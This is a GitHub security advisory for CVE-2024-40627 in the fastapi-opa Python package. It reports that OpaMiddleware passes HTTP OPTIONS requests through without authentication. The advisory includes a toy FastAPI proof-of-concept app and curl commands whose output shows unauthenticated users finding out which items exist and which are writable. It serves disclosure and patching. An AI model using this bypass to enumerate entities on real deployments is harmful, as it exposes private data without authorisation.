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OpaMiddleware does not filter HTTP OPTIONS requests

Moderate severity GitHub Reviewed Published Jul 15, 2024 in busykoala/fastapi-opa • Updated Aug 16, 2024

Package

pip fastapi-opa (pip)

Affected versions

< 2.0.1

Patched versions

2.0.1

Description

Summary

HTTP OPTIONS requests are always allowed by OpaMiddleware, even when they lack authentication, and are passed through directly to the application.

The maintainer uncertain whether this should be classed as a "bug" or "security issue" – but is erring on the side of "security issue" as an application could reasonably assume OPA controls apply to all HTTP methods, and it bypasses more sophisticated policies.

Details

OpaMiddleware allows all HTTP OPTIONS requests without evaluating it against any policy:

https://github.com/busykoala/fastapi-opa/blob/6dd6f8c87e908fe080784a74707f016f1422b58a/fastapi_opa/opa/opa_middleware.py#L79-L80

If an application provides different responses to HTTP OPTIONS requests based on an entity existing (such as to indicate whether an entity is writable on a system level), an unauthenticated attacker could discover which entities exist within an application (CWE-204).

PoC

This toy application is based on the behaviour of an app1 which can use fastapi-opa. The app uses the Allow header of a HTTP OPTIONS to indicate whether an entity is writable on a "system" level, and returns HTTP 404 for unknown entities:

# Run with: fastapi dev opa-poc.py --port 9999
from fastapi import FastAPI, Response, HTTPException
from fastapi_opa import OPAConfig, OPAMiddleware
from fastapi_opa.auth.auth_api_key import APIKeyAuthentication, APIKeyConfig

# OPA doesn't actually need to be running for this example
opa_host = "http://localhost:8181"
api_key_config = APIKeyConfig(
    header_key = 'ApiKey',
    api_key = 'secret-key',
)
api_key_auth = APIKeyAuthentication(api_key_config)
opa_config = OPAConfig(authentication=api_key_auth, opa_host=opa_host)

app = FastAPI()
app.add_middleware(OPAMiddleware, config=opa_config)

WRITABLE_ITEMS = {
    1: True,
    2: False,
}


@app.get("/")
async def root() -> dict:
    return {"msg": "success"}

@app.get("/items/{item_id}")
async def read_item(item_id: int):
    if item_id not in WRITABLE_ITEMS:
        raise HTTPException(status_code=404)
    return {"item_id": item_id}

@app.options("/items/{item_id}")
async def read_item_options(response: Response, item_id: int) -> dict:
    if item_id not in WRITABLE_ITEMS:
        raise HTTPException(status_code=404)

    response.headers["Allow"] = "OPTIONS, GET" + (", POST" if WRITABLE_ITEMS[item_id] else "")
    return {}

As expected, HTTP GET requests fail consistently when unauthenticated, regardless of whether the entity exists, because read_item() is never executed:

$ curl -i 'http://localhost:9999/items/1'
HTTP/1.1 401 Unauthorized
server: uvicorn
content-length: 26
content-type: application/json

{"message":"Unauthorized"}

$ curl -i 'http://localhost:9999/items/3'
HTTP/1.1 401 Unauthorized
server: uvicorn
content-length: 26
content-type: application/json

{"message":"Unauthorized"}

However, HTTP OPTIONS requests are never authenticated by OpaMiddleware, so are passed straight through to read_item_options() and returned to unauthenticated users:

$ curl -i -X OPTIONS 'http://localhost:9999/items/1'
HTTP/1.1 200 OK
server: uvicorn
content-length: 2
content-type: application/json
allow: OPTIONS, GET, POST

{}

$ curl -i -X OPTIONS 'http://localhost:9999/items/2'
HTTP/1.1 200 OK
server: uvicorn
content-length: 2
content-type: application/json
allow: OPTIONS, GET

{}

$ curl -i -X OPTIONS 'http://localhost:9999/items/3'
HTTP/1.1 404 Not Found
server: uvicorn
content-length: 22
content-type: application/json

{"detail":"Not Found"}

Versions

fastapi-opa==2.0.0
fastapi==0.111.0

References

Footnotes

  1. an open source app, not written by me

@busykoala busykoala published to busykoala/fastapi-opa Jul 15, 2024
Published to the GitHub Advisory Database Jul 15, 2024
Reviewed Jul 15, 2024
Published by the National Vulnerability Database Jul 15, 2024
Last updated Aug 16, 2024

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality Low
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality Low
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N

EPSS score

0.045%
(17th percentile)

Weaknesses

CVE ID

CVE-2024-40627

GHSA ID

GHSA-5f5c-8rvc-j8wf

Source code

Credits

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